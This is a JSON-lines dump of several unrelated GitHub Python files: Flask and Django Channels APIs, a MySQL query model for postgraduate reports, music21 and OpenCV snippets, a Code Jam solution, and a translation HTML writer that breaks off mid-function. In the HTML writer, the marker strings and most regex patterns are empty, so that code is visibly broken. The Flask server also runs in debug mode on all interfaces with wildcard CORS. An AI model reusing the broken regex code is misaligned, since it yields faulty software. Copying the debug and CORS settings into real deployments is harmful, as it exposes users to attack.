+{"seq_id":"17445743732","text":"import config\nimport os\nfrom flask import Flask, send_from_directory\nfrom flask_restful import Api\nfrom flask_cors import CORS\nfrom map_events_api import MapEventsApi\nfrom map_polygon_api import MapPolygonApi\nfrom auth_api import GoogleAuth, AdminAuth, ValidateAdmin, ValidateUser\nfrom contributions_api import ListContribution, AddContribution, ReviewContribution\n\napp = Flask(__name__, static_folder='build/')\napi = Api(app, prefix=\"/v1\")\ncors = CORS(app, resources={r\"/*\": {\"origins\": \"*\"}})\n\n# data api\napi.add_resource(MapEventsApi, '/map/events/')\napi.add_resource(MapPolygonApi, '/map/polygon/')\n\n# auth api\napi.add_resource(AdminAuth, '/auth/admin')\napi.add_resource(GoogleAuth, '/auth/google')\napi.add_resource(ValidateAdmin, '/validate/admin')\napi.add_resource(ValidateUser, '/validate/user')\n\n# contribution api\napi.add_resource(ListContribution, '/contributions/')\napi.add_resource(AddContribution, '/contributions/add/')\napi.add_resource(ReviewContribution, '/contributions/review/')\n\n\n@app.route('/', defaults={'path': ''})\n@app.route('/')\ndef serve(path):\n if path != \"\" and os.path.exists(\"build/\" + path):\n return send_from_directory('build/', path)\n else:\n return send_from_directory('build/', 'index.html')\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=8000, debug=True)\n","repo_name":"Parassharmaa/space-and-time","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"32889948331","text":"#-------------------------------------------------------------------------------\r\n# Name: text.py\r\n# Purpose: music21 classes for text processing\r\n#\r\n# Authors: Michael Scott Cuthbert\r\n# Authors: Christopher Ariza\r\n#\r\n# Copyright: (c) 2009 The music21 Project\r\n# License: LGPL\r\n#-------------------------------------------------------------------------------\r\n'''Utility routines for processing text in scores and other musical objects. \r\n'''\r\n\r\n\r\nimport doctest, unittest\r\nimport music21 # needed to properly do isinstance checking\r\n\r\n\r\ndef assembleLyrics(streamIn):\r\n '''Concatenate text from a stream.\r\n '''\r\n word = []; words = []\r\n noteStream = streamIn.flat.notes\r\n for n in noteStream:\r\n for lyricObj in n.lyrics: # a list of lyric objs\r\n #print lyricObj, lyricObj.syllabic, lyricObj.text\r\n # need to match case of non-defined syllabic attribute\r\n if lyricObj.syllabic in ['begin', 'middle']:\r\n word.append(lyricObj.text)\r\n elif lyricObj.syllabic in ['end', 'single', None]:\r\n word.append(lyricObj.text)\r\n words.append(''.join(word))\r\n word = []\r\n return ' '.join(words)\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n#-------------------------------------------------------------------------------\r\nclass Test(unittest.TestCase):\r\n\r\n def runTest(self):\r\n pass\r\n\r\n def testBasic(self):\r\n from music21 import converter, corpus\r\n\r\n a = converter.parse(corpus.getWork('haydn/opus74no2/movement4.xml'))\r\n post = assembleLyrics(a)\r\n self.assertEqual(post, '') # no lyrics!\r\n\r\n a = converter.parse(corpus.getWork('luca/gloria'))\r\n post = assembleLyrics(a)\r\n self.assertEqual(post.startswith('Et in terra pax hominibus bone voluntatis'), True) \r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n music21.mainTest(Test)\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"morganecf/music21","sub_path":"music21/text.py","file_name":"text.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"71097039553","text":"if __name__ == \"__main__\":\n from AthenaConfiguration.AllConfigFlags import initConfigFlags\n from AthenaConfiguration.Enums import Project\n from AthenaConfiguration.TestDefaults import defaultTestFiles\n flags = initConfigFlags()\n flags.Input.Files = defaultTestFiles.HITS_RUN2\n flags.IOVDb.GlobalTag = \"OFLCOND-MC16-SDR-16\"\n flags.GeoModel.Align.Dynamic = False\n flags.lock()\n\n if flags.Common.Project is Project.AthSimulation:\n from TRT_GeoModel.TRT_GeoModelConfig import TRT_SimulationGeometryCfg\n acc = TRT_SimulationGeometryCfg(flags)\n f=open('TRT_SimulationGeometryCfg.pkl','wb')\n else:\n from TRT_GeoModel.TRT_GeoModelConfig import TRT_ReadoutGeometryCfg\n acc = TRT_ReadoutGeometryCfg(flags)\n f=open('TRT_ReadoutGeometryCfg.pkl','wb')\n acc.store(f)\n f.close()\n","repo_name":"Yusuf-Manjra/athena","sub_path":"InnerDetector/InDetDetDescr/TRT_GeoModel/test/TRT_GMConfig_test.py","file_name":"TRT_GMConfig_test.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"17641212579","text":"from asgiref.sync import async_to_sync\nfrom channels.generic.websocket import WebsocketConsumer\nimport json\nfrom .models import UserCollections, RestaurantCollections, Restaurant\nfrom .serializers import UserCollectionsSerializer, RestaurantCollectionsSerializer\n\n\nclass CollectionConsumer(WebsocketConsumer):\n def connect(self):\n self.room_name = self.scope['url_route']['kwargs']['collection_id']\n self.room_group_name = 'collection_%s' % self.room_name\n\n async_to_sync(self.channel_layer.group_add)(\n self.room_group_name,\n self.channel_name\n )\n\n self.accept()\n\n def disconnect(self, close_code):\n async_to_sync(self.channel_layer.group_discard)(\n self.room_group_name,\n self.channel_name\n )\n\n def receive(self, text_data):\n text_data_json = json.loads(text_data)\n action_type = text_data_json['actiontype']\n message = text_data_json['message']\n \n if action_type == 'WEBSOCKET_EDIT_MESSAGE':\n collection_name = message['name']\n collection_id = message['id']\n \n try:\n UserCollections.objects.filter(id=collection_id).update(name=collection_name)\n return_data = UserCollectionsSerializer(UserCollections.objects.get(id=collection_id)).data\n action_type = 'SUCCESS_UPDATE_COLLECTION'\n except:\n return_data = {'error': 'Error editing collection name.'}\n action_type = 'FAILURE_UPDATE_COLLECTION'\n \n if action_type == 'WEBSOCKET_ADD_MESSAGE':\n collection_id = message['collectionId']\n restaurant_id = message['restaurantId']\n try:\n user_collection = UserCollections.objects.get(id=collection_id)\n restaurant = Restaurant.objects.get(id=restaurant_id)\n restaurant_object = RestaurantCollections(restaurant_collection=user_collection, restaurant=restaurant)\n restaurant_object.save()\n return_data = RestaurantCollectionsSerializer(restaurant_object).data\n action_type = 'SUCCESS_ADD_RESTAURANT_TO_COLLECTION'\n except:\n return_data = {'error': 'Error adding restaurant to collection.'}\n action_type = 'FAILURE_ADD_RESTAURANT_TO_COLLECTION'\n \n if action_type == 'WEBSOCKET_REMOVE_MESSAGE':\n user_id = message['user']\n collection_name = message['collectionName']\n restaurant_id = message['restaurantId']\n\n try:\n restaurant_object = RestaurantCollections.objects.get(restaurant_collection__collaborators__id=user_id, restaurant_collection__name=collection_name, restaurant__id=restaurant_id)\n restaurant_object.delete()\n restaurants = RestaurantCollections.objects.filter(restaurant_collection__collaborators__id=user_id, restaurant_collection__name=collection_name)\n restaurants_data = RestaurantCollectionsSerializer(restaurants, many=True).data\n return_data = {'success': {'success': collection_name}, 'restaurants': restaurants_data }\n action_type = 'SUCCESS_DELETE_RESTAURANTS_IN_COLLECTION'\n except:\n return_data = {'error': 'Error removing restaurant from collection.'}\n action_type = 'FAILURE_DELETE_RESTAURANTS_IN_COLLECTION'\n\n async_to_sync(self.channel_layer.group_send)(\n self.room_group_name,\n {\n 'type': 'collection_message',\n 'message': return_data,\n 'actiontype': action_type\n }\n )\n\n def collection_message(self, event):\n message = event['message']\n action_type = event['actiontype']\n\n self.send(text_data=json.dumps({\n 'message': message,\n 'actiontype': action_type\n }))\n","repo_name":"Anupam-dagar/DRF-Websocket-Django-Backend","sub_path":"api/consumers.py","file_name":"consumers.py","file_ext":"py","file_size_in_byte":3959,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"9695643978","text":"import cv2\nimport numpy as np\n\n\ncanvas =np.zeros((512,512,3),np.uint8)+255 #255 eklenerek beyaz görüntü elde edilir\n\nfont1=cv2.FONT_HERSHEY_SIMPLEX\nfont2=cv2.FONT_HERSHEY_COMPLEX\nfont3=cv2.FONT_HERSHEY_PLAIN\n\n\ncv2.putText(canvas,\"ğpencv\",(10,100),font1,3,(0,0,0) ,cv2.LINE_AA)\n\n\n\ncv2.imshow(\"canv\",canvas)\ncv2.waitKey(0)\ncv2.destroyAllWindows()","repo_name":"FAArik/opencvtraining","sub_path":"udemy1-8/udemy7yazıyazdırma.py","file_name":"udemy7yazıyazdırma.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"21539178605","text":"from contextlib import contextmanager\nimport mysql.connector\nimport connect\nfrom flask import redirect, url_for\nfrom datetime import datetime\n\ncurrent_date = datetime.now().strftime(\"%Y-%m-%d\")\ncurrent_time = datetime.now().strftime(\"%H:%M:%S\")\n\n@contextmanager\ndef get_cursor():\n connection = mysql.connector.connect(user=connect.dbuser,\n password=connect.dbpass, \n host=connect.dbhost,\n database=connect.dbname, \n autocommit=True)\n cur = connection.cursor(dictionary=True)\n try:\n yield cur\n finally:\n cur.close()\n connection.close()\n\n\nclass User:\n def __init__(self, email=None, password=None, period_ending=None, report_id=None, response=None, action=None):\n self.email = email\n self.password = password\n self.period_ending = period_ending\n self.report_id = report_id\n self.response = response\n self.action = action\n\n# sql - get supervisor's details for their profile \n def profile_supervisor(self, SupervisorEmail):\n with get_cursor() as cur:\n supervisorinfo_sql = \"\"\"Select CONCAT(stf.FirstName,' ', stf.LastName) as 'Staff Name', stf.Phone,\n stf.Email, dep.DepartmentName, dep.Faculty\n from Staff stf \n left join Department dep on stf.DepartmentCode = dep.DepartmentCode \n where stf.Email = %s;\"\"\"\n cur.execute(supervisorinfo_sql, (SupervisorEmail,))\n result = cur.fetchone()\n return result\n\n# sql - get student's details for their profile \n def profile_student(self, StudentEmail):\n with get_cursor() as cur:\n studentinfo_sql = \"\"\"Select st.StudentID, CONCAT(st.FirstName,' ', st.LastName) as 'Student Name', st.Email as 'Student Email', st.EnrolmentDate, st.Address, st.Phone, \n st.Email, st.ModeOfStudy, st.ThesisTitle\n from Student st\n left join Department dep on st.DepartmentCode = dep.DepartmentCode\n where st.Email = %s;\"\"\"\n cur.execute(studentinfo_sql, (StudentEmail,))\n result = cur.fetchone()\n return result\n \n# sql - get Student's current Employment details\n def student_emp(self, StudentEmail):\n with get_cursor() as cur:\n student_emo_sql = \"\"\"select emp.EmploymentID, CONCAT(stf.FirstName, ' ', stf.LastName) as 'Supervisor Name', emp.SupervisorID, \n empt.EmploymentType, emp.WeeklyHours, emp.StartDate, emp.EndDate, emp.StudentID\n from Student stu\n left join Employment emp on stu.StudentID = emp.StudentID\n left join EmploymentType empt on empt.EmploymentTypeID = emp.EmploymentTypeID\n left join Staff stf on emp.SupervisorID = stf.StaffID\n Where stu.Email = %s AND emp.EndDate IS NULL;\"\"\"\n cur.execute(student_emo_sql, (StudentEmail,))\n result = cur.fetchall()\n return result\n \n# sql - get Student 6mr supervisor details.\n def student_sup(self, StudentEmail):\n with get_cursor() as cur:\n student_sup_sql = \"\"\"select CONCAT(stf.FirstName, ' ', stf.LastName) as 'Supervisor Name',\n sup.SupervisorType\n from Student stu\n left join Supervision sup on stu.StudentID = sup.StudentID\n left join Staff stf on sup.SupervisorID = stf.StaffID\n Where stu.Email = %s;\"\"\"\n cur.execute(student_sup_sql, (StudentEmail,))\n result = cur.fetchall()\n return result\n \n# sql - get supervisee's current scholarship info\n def student_scholar(self, StudentEmail):\n with get_cursor() as cur:\n student_scholar = \"\"\"Select sr.SchoRecordID, sch.Name, sch.Value, sr.StartDate, sr.EndDate, sr.StudentID\n from Student stu\n join ScholarshipRecord sr on stu.StudentID = sr.StudentID\n join Scholarship sch on sr.ScholarshipID = sch.ScholarshipID\n Where stu.Email = %s AND sr.EndDate>CURDATE();\"\"\"\n cur.execute(student_scholar, (StudentEmail,))\n result = cur.fetchall()\n return result\n \n # sql - get pgChair profile\n def profile_pgChair(self, email):\n with get_cursor() as cur:\n pgChairinfo_sql = \"\"\"Select CONCAT(stf.FirstName, ' ', stf.LastName) as 'Staff Name', stf.Phone,\n stf.Email, dep.DepartmentName, dep.Faculty\n from Staff stf \n left join Department dep on stf.DepartmentCode = dep.DepartmentCode\n where stf.Email = %s;\"\"\"\n cur.execute(pgChairinfo_sql, (email,))\n result = cur.fetchone()\n return result\n\n #sql - edit pgChair profile\n def profile_pgChair_edit_process(self, phone, email):\n with get_cursor() as cur:\n pgChairinfoedit_sql = \"\"\"Update Staff Set Phone = %s Where Email = %s;\"\"\"\n cur.execute(pgChairinfoedit_sql,(phone, email))\n\n \n def get_pgchair_report_list(self, period_ending):\n with get_cursor() as cur:\n sql = \"\"\"SELECT s.ReportID AS 'Report ID', s.ReportPeriodEndDate AS 'End Date', s.B_ReportOrder AS 'Report Order',s.StudentID AS 'Student ID', CONCAT(stu.FirstName, ' ', stu.LastName) as 'Student Name', s.Status, s.IfSectionF\n FROM SixMR AS s JOIN Student AS stu\n ON s.StudentID=stu.StudentID\n WHERE s.ReportPeriodEndDate=%s AND s.Status NOT IN ('Unfinished')\n ORDER BY s.ReportID DESC;\"\"\"\n cur.execute(sql, (period_ending,))\n result = cur.fetchall()\n # Get the percentage of supervisor assessment completion for each report.\n for x in result:\n report_id = x['Report ID']\n # Get the total number of supervisor assessments that should be done.\n cur.execute(\"\"\"SELECT COUNT(ReportID) AS 'Total' FROM SupervisorAssessment WHERE ReportID=%s;\"\"\", (report_id,))\n total = cur.fetchone()\n # Get the number of supervisor assessments that have been done.\n cur.execute(\"\"\"SELECT COUNT(ReportID) AS 'Total' FROM SupervisorAssessment WHERE ReportID=%s AND CompletionDate IS NOT NULL;\"\"\", (report_id,))\n done = cur.fetchone()\n if done:\n percentage = str(done['Total'])+'/'+str(total['Total'])\n else:\n percentage = '0/'+str(total['Total'])\n x['Percentage'] = percentage\n # Find out if the PG Chair needs to do the final rating.(when the Student's convenor is also a supervisor)\n cur.execute(\"\"\"SELECT * FROM Supervision WHERE StudentID=%s AND SupervisorID IN (SELECT ConvenorID FROM Department);\"\"\", (x['Student ID'],))\n resultdata=cur.fetchall()\n if resultdata:\n x['PgChairToRate'] = True\n else:\n x['PgChairToRate'] = False\n # Check if the PG chair has responded to the section F.\n if x['IfSectionF'] == 'Yes':\n cur.execute(\"\"\"SELECT HasResponded FROM F WHERE ReportID=%s;\"\"\", (report_id,))\n HasReponded = cur.fetchone()['HasResponded']\n if HasReponded == 1:\n x['HasResponded'] = True\n if HasReponded == 0:\n x['HasResponded'] = False\n else:\n x['HasResponded'] = False\n return result\n\n # Get the F response content. \n def get_pgchair_response(self, report_id):\n with get_cursor() as cur:\n sql = \"\"\"SELECT * FROM F WHERE ReportID=%s;\"\"\"\n cur.execute(sql, (report_id,))\n result = cur.fetchone()\n return result\n \n # Get the student's details.\n def get_student(self, report_id):\n with get_cursor() as cur:\n sql = \"\"\"SELECT * FROM Student WHERE StudentID=(SELECT StudentID FROM SixMR WHERE ReportID=%s);\"\"\"\n cur.execute(sql, (report_id,))\n result = cur.fetchone()\n return result\n \n # Save the F response content and relevant F table columns.\n def update_pgchair_response(self, report_id, response, action):\n with get_cursor() as cur:\n if action == 'save':\n sql = \"\"\"UPDATE F SET Response=%s WHERE ReportID=%s;\"\"\"\n cur.execute(sql, (response, report_id))\n if action == 'submit':\n sql = \"\"\"UPDATE F SET Response=%s, HasResponded=1,ResponseDate=%s, ResponseTime=%s WHERE ReportID=%s;\"\"\"\n cur.execute(sql, (response, current_date, current_time, report_id))\n # Get the student's email.\n cur.execute(\"\"\"SELECT Email FROM Student WHERE StudentID=(SELECT StudentID FROM SixMR WHERE ReportID=%s);\"\"\", (report_id,))\n student_email = cur.fetchone()['Email']\n return student_email\n\ndef get_all_student():\n with get_cursor() as cur:\n student_list = \"\"\"select stu.StudentID, CONCAT(stu.FirstName, ' ', stu.LastName) as 'FullName', \n stu.Email, stu.ThesisTitle, stu.EnrolmentDate, stu.Address, stu.Phone, stu.ModeOfStudy, \n dep.DepartmentName, dep.Faculty, dep.DepartmentCode\n from Student stu\n left join Department dep on stu.DepartmentCode = dep.DepartmentCode\n ORDER BY stu.LastName, stu.FirstName;\"\"\"\n cur.execute(student_list)\n result = cur.fetchall()\n return result\n\n\ndef get_all_supervisor():\n with get_cursor() as cur:\n supervisors_sql = \"\"\"SELECT CONCAT(stf.FirstName,' ', stf.LastName) as 'Staff Name', stf.DepartmentCode, \n stf.Email, dep.DepartmentName, User.Role\n from Staff stf \n JOIN Department dep ON dep.DepartmentCode=stf.DepartmentCode\n JOIN User on User.Email=stf.Email\n where User.Role='Supervisor' ORDER BY stf.LastName, stf.FirstName;\"\"\"\n cur.execute(supervisors_sql)\n result = cur.fetchall()\n return result\n\n\n# get Student Employment history details\ndef student_emp_history(email):\n with get_cursor() as cur:\n student_emo_history_sql = \"\"\"select emp.EmploymentID, CONCAT(stf.FirstName, ' ', stf.LastName) as 'Supervisor Name', emp.SupervisorID, \n empt.EmploymentType, emp.WeeklyHours, emp.StartDate, emp.EndDate, emp.StudentID\n from Student stu\n left join Employment emp on stu.StudentID = emp.StudentID\n left join EmploymentType empt on empt.EmploymentTypeID = emp.EmploymentTypeID\n left join Staff stf on emp.SupervisorID = stf.StaffID\n Where stu.Email = %s\n Order by EndDate DESC;\"\"\"\n cur.execute(student_emo_history_sql, (email,))\n result = cur.fetchall()\n return result\n\n\n# get Student scholarship history details\ndef student_scho_history(email):\n with get_cursor() as cur:\n student_scho_history_sql = \"\"\"Select sr.ScholarshipID, sr.SchoRecordID, sch.Name, sch.Value, sr.StartDate, sr.EndDate, sr.StudentID\n from Student stu\n join ScholarshipRecord sr on stu.StudentID = sr.StudentID\n join Scholarship sch on sr.ScholarshipID = sch.ScholarshipID\n Where stu.Email = %s\n order by EndDate DESC;\"\"\"\n cur.execute(student_scho_history_sql, (email,))\n result = cur.fetchall()\n return result\n \n\nclass StatusBar:\n def __init__(self, reportid=None):\n pass\n def submission_history_desc_list(self, reportid):\n with get_cursor() as cur:\n report_submission_history = \"\"\"select allUser.FirstName,allUser.LastName,allUser.Email,sh.ReportID,sh.Action,sh.SubmitterRole, sh.Date, sh.Time from (\n select FirstName,LastName,Email from Staff\n Union \n select FirstName,LastName,Email from Student)\n as allUser right join SubmissionHistory sh on sh.SubmitterEmail = allUser.Email\n where ReportID=%s\n order by sh.Date, sh.Time\"\"\"\n cur.execute(report_submission_history , (reportid,))\n submission_history = cur.fetchall()\n submission_history_desc_list = []\n current_status = self.report_status(reportid)\n if current_status['Status'] == \"Unfinished\":\n desciption = \"The 6MR report has been created, Please finish your report and submit.\"\n submission_history_desc_list.append(desciption)\n elif current_status['Status'] == \"Rejected\":\n desciption = 'The submitted report has been rejected by the Principle Supervisor.Please editting and resubmit according to the feedback you received.'\n submission_history_desc_list.append(desciption)\n index = 0\n try:\n for single_history in submission_history:\n if 'performance' in single_history[\"Action\"]:\n index=index+1\n submission_history_desc=f'{single_history[\"Action\"]}({index}/3) : {single_history[\"SubmitterRole\"]} ({single_history[\"FirstName\"]} {single_history[\"LastName\"]}) has {single_history[\"Action\"].lower()} on {single_history[\"Date\"]} {single_history[\"Time\"]}'\n else:\n submission_history_desc=f'{single_history[\"Action\"]} : {single_history[\"SubmitterRole\"]} ({single_history[\"FirstName\"]} {single_history[\"LastName\"]}) has {single_history[\"Action\"].lower()} on {single_history[\"Date\"]} {single_history[\"Time\"]}'\n submission_history_desc_list.append(submission_history_desc)\n return submission_history_desc_list\n except Exception:\n return submission_history_desc_list\n def submission_history_index(self, reportid):\n with get_cursor() as cur:\n sql = \"\"\"select Action from SubmissionHistory\n where ReportID=%s\n order by Date,Time\"\"\"\n index = 0\n cur.execute(sql , (reportid,))\n submission_history = cur.fetchall()\n if len(submission_history) == 0:\n index = 1\n return index\n elif len(submission_history) == 1:\n index = 2\n return index\n elif 2 <= len(submission_history) <=4:\n index = 3 \n return index\n elif len(submission_history) == 5:\n index = 4 \n return index\n else:\n index = 5\n return index\n def report_status(self,reportid):\n with get_cursor() as cur:\n sql = \"select Status from SixMR where ReportID=%s\"\n cur.execute(sql , (reportid,))\n report_status = cur.fetchone()\n return report_status\n","repo_name":"zhiyizhu805/Lincoln-Postgraduate-Report-Website","sub_path":"pgChair/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":16176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"12515406887","text":"import sys\n\n\ndef solve(a, b):\n m = (a + b) // 2\n print(m)\n sys.stdout.flush()\n s = input()\n if s == 'CORRECT':\n return\n elif s == 'TOO_SMALL':\n a = m + 1\n else:\n b = m - 1\n solve(a, b)\n\n\nT = int(input())\nfor t in range(1, T + 1):\n a, b = map(int, input().split())\n _ = int(input())\n solve(a + 1, b)\n","repo_name":"satojkovic/algorithms","sub_path":"codejam/2018/Practice/guess_number.py","file_name":"guess_number.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"37183858139","text":"# -*- coding: utf-8 -*-\n\"\"\"\n Author:\t\tTahmid Khan\n File:\t\t\t[htmlwriter.py]\n Description:\tThis module is responsible for modifying and writing the\n \t\t\t\tpre-processed HTML version of a given chapter translation\n\"\"\"\nimport pykakasi as pkk \t# Python Japanese romanization api\nimport os \t\t\t\t# OS level operations\nimport io \t\t\t\t# File reading/writing\nimport re \t\t\t\t# Regex for parsing\n\nfrom htmlparser import LType\n\nPRE_MARKER = r\"\"\nMAIN_MARKER = r\"\"\nPOST_MARKER = r\"\"\n\nclass HtmlWriter:\n\t#--------------------------------------------------------------------------\n\t# ctor\n\t#--------------------------------------------------------------------------\n\tdef __init__(self, dictionary, log_file, res_path, dev_opt=False):\n\t\t\"\"\"-------------------------------------------------------------------\n\t\t\tFunction:\t\t[CONSTRUCTOR]\n\t\t\tDescription:\tReads in the skeleton.html resource file\n\t\t\tInput:\t\t\t\n\t\t\t [dictionary]\tSeries dictionary\n\t\t\t [log_file]\tFile descriptor to write translation logs to\n\t\t\t [res_path]\tPath to skeleton.html resource\n\t\t\t [dev_opt] \tOutput developer version HTML?\n\t\t\t------------------------------------------------------------------\n\t\t\"\"\"\n\t\t# Various id attribute initializations\n\t\tself.__pId = 1\n\t\tself.__linenum = 1\n\t\tself.__imgnum = 1\n\t\tself.__dummynum = 1\n\n\t\tself.__dictionary = dictionary\n\t\tself.__log = log_file\n\t\twith io.open(os.path.join(res_path), mode='r', encoding='utf8') as res:\n\t\t\tself.__resource = res.read()\n\t\t\tif dev_opt:\n\t\t\t\tpattern = re.compile(r\"(.*)\", re.S)\n\t\t\t\tself.__resource = pattern.sub('', self.__resource)\n\t\t\telse:\n\t\t\t\tpattern = re.compile(r\"(.*)\", re.S)\n\t\t\t\tself.__resource = pattern.sub('', self.__resource)\n\n\t#--------------------------------------------------------------------------\n\t# Romanization generation\n\t#--------------------------------------------------------------------------\n\tdef romanizeLine(self, text_src):\n\t\t\"\"\"-------------------------------------------------------------------\n\t\t\tFunction:\t\t[romanizeLine]\n\t\t\tDescription:\tGenerate html element for the romanization of the\n\t\t\t\t\t\t\tprovided text (JP only)\n\t\t\tInput:\n\t\t\t [text_src]\tThe source Japanese text to romanize\n\t\t\tReturn:\t\t\tstring representing the HTML element with the \n\t\t\t\t\t\t\tromanization\n\t\t\t------------------------------------------------------------------\n\t\t\"\"\"\n\t\tromanizer = pkk.kakasi()\n\t\tromanizer.setMode(\"H\",\"a\") \t\t\t# Enable Hiragana to ascii\n\t\tromanizer.setMode(\"K\",\"a\") \t\t\t# Enable Katakana to ascii\n\t\tromanizer.setMode(\"J\",\"a\") \t\t\t# Enable Japanese to ascii\n\t\tromanizer.setMode(\"r\",\"Hepburn\") \t# Use Hepburn Roman table\n\t\tromanizer.setMode(\"s\", True) \t\t# Add spaces\n\t\tromanizer.setMode(\"C\", True) \t\t# Capitalize\n\n\t\tconverter = romanizer.getConverter()\n\t\treturn converter.do(text_src)\n\n\n\t#--------------------------------------------------------------------------\n\t# Modification functions\n\t#--------------------------------------------------------------------------\n\tdef setPageTitle(self, series, ch):\n\t\t\"\"\"-------------------------------------------------------------------\n\t\t\tFunction:\t\t[setPageTitle]\n\t\t\tDescription:\tInserts a page title as an html tag into the \n\t\t\t\t\t\t\tgiven resource string\n\t\t\tInput:\n\t\t\t [series]\t\tSeries name\n\t\t\t [ch]\t\t\tChapter number\n\t\t\tReturn:\t\t\tNone\n\t\t\t------------------------------------------------------------------\n\t\t\"\"\"\n\t\tpg_title = \"%s %d\" % (series, ch)\n\t\tself.__resource = re.sub(r'', pg_title, self.__resource)\n\t\tself.__log.write(\"Set page title: %s\" % pg_title)\n\n\tdef setChapterTitle(self, ch_title):\n\t\t\"\"\"-------------------------------------------------------------------\n\t\t\tFunction:\t\t[setChapterTitle]\n\t\t\tDescription:\tInserts a chapter title as an html header into the \n\t\t\t\t\t\t\tresource string\n\t\t\tInput:\n\t\t\t [ch_title]\tThe chapter title string\n\t\t\tReturn:\t\t\tNone\n\t\t\t------------------------------------------------------------------\n\t\t\"\"\"\n\t\tself.__resource = re.sub(r'', ch_title, self.__resource)\n\t\tself.__log.write(\"Set series title: %s\" % ch_title)\n\n\tdef setSeriesLink(self, link):\n\t\t\"\"\"-------------------------------------------------------------------\n\t\t\tFunction:\t\t[setSeriesLink]\n\t\t\tDescription:\tSets the link that takes user to the webpage from \n\t\t\t\t\t\t\twhich the raws for this series was pulled from\n\t\t\tInput:\n\t\t\t [link]\t\tThe HTML link to insert\n\t\t\tReturn:\t\t\tNone\n\t\t\t------------------------------------------------------------------\n\t\t\"\"\"\n\t\tself.__resource = re.sub(r'', link, self.__resource)\n\t\tself.__log.write(\"Set series link: %s\" % link)\n\n\tdef setChapterLink(self, link):\n\t\t\"\"\"-------------------------------------------------------------------\n\t\t\tFunction:\t\t[setChapterLink]\n\t\t\tDescription:\tSets the link that takes user to the webpage from \n\t\t\t\t\t\t\twhich the raw for this chapter was pulled from\n\t\t\tInput:\n\t\t\t [link]\t\tThe HTML link to insert\n\t\t\tReturn:\t\t\tNone\n\t\t\t------------------------------------------------------------------\n\t\t\"\"\"\n\t\tself.__resource = re.sub(r'', link, self.__resource)\n\t\tself.__log.write(\"Set chapter link: %s\" % link)\n\n\tdef setChapterNumber(self, ch_num):\n\t\t\"\"\"-------------------------------------------------------------------\n\t\t\tFunction:\t\t[setChapterNumber]\n\t\t\tDescription:\tInserts the chapter number as an html header into\n\t\t\t\t\t\t\tthe resource string\n\t\t\tInput:\n\t\t\t [ch_num]\t\tThe chapter number as a string\n\t\t\tReturn:\t\t\tNone\n\t\t\t------------------------------------------------------------------\n\t\t\"\"\"\n\t\tch_num = \"Chapter \" + ch_num\n\t\tself.__resource = re.sub(r'', ch_num, self.__resource)\n\t\tself.__log.write(\"Set chapter subtitle: %s\" % ch_num)\n\n\tdef generateDummy(self, lang):\n\t\t\"\"\"-------------------------------------------------------------------\n\t\t\tFunction:\t\t[generateDummy]\n\t\t\tDescription:\tGenerates an dummy html element. These dummy elements\n\t\t\t\t\t\t\tare used by the JS algorithm during the postprocessing\n\t\t\tInput:\n\t\t\t [lang] \tWhich lang are we creating a dummy for?\n\t\t\tReturn:\t\t\tHTML dummy element as a string\n\t\t\t------------------------------------------------------------------\n\t\t\"\"\"\n\t\tif lang == \"JP\":\n\t\t\tdummy = u\"ダミー\"\n\t\telif lang == \"CN\":\n\t\t\tdummy = u\"假\"\n\n\t\tdummy_html = \"
%s
\\n\" % \\\n\t\t\t(self.__dummynum, dummy)\n\t\tself.__dummynum += 1\n\t\treturn dummy_html\n\n\tdef insertLine(self, line_data, lang):\n\t\t\"\"\"-------------------------------------------------------------------\n\t\t\tFunction:\t\t[insertLine]\n\t\t\tDescription:\tInserts a line as an html paragraph into the given \n\t\t\t\t\t\t\tresource string\n\t\t\tInput:\n\t\t\t [line_data]\tA 2-tuple representing line type and line content\n\t\t\t [lang]\t\tThe language the line is in\n\t\t\tReturn:\t\t\tNone\n\t\t\t------------------------------------------------------------------\n\t\t\"\"\"\n\t\tif(self.__linenum == 1):\n\t\t\tdummy_html = self.generateDummy(lang) + PRE_MARKER\n\t\t\tself.__resource = re.sub(PRE_MARKER, dummy_html, self.__resource)\n\n\t\t(ltype, line) = line_data\n\t\t# Strip unnecessary white space at the beginning\n\t\tline = line.lstrip()\n\n\t\t# Insert a prescript if prescript line detected\n\t\tif ltype == LType.PRE:\n\t\t\thr_html = \"%s\\n\" % PRE_MARKER\n\t\t\tif not hr_html in self.__resource:\n\t\t\t\tself.__resource = re.sub(PRE_MARKER, hr_html, self.__resource)\n\t\t# Insert a postscript if postscript line detected\n\t\tif ltype == LType.POST or ltype == LType.POST_IMG:\n\t\t\thr_html = \"%s\\n\" % MAIN_MARKER\n\t\t\tif not hr_html in self.__resource:\n\t\t\t\tself.__resource = re.sub(MAIN_MARKER, hr_html, self.__resource)\n\n\t\t# There's a special way to process images\n\t\tif ltype == LType.REG_IMG:\n\t\t\talt = \"image_%s\" % self.__imgnum\n\t\t\timg_html = \"\\n%s\" % \\\n\t\t\t\t(self.__imgnum, line, alt, MAIN_MARKER)\n\t\t\tself.__resource = re.sub(MAIN_MARKER, img_html, self.__resource)\n\t\t\tself.__imgnum += 1\n\t\t\treturn\n\t\telif ltype == LType.POST_IMG:\n\t\t\talt = \"image_%s\" % self.__imgnum\n\t\t\timg_html = \"\\n%s\" % \\\n\t\t\t\t(self.__imgnum, line, alt, POST_MARKER)\n\t\t\tself.__resource = re.sub(POST_MARKER, img_html, self.__resource)\n\t\t\tself.__imgnum += 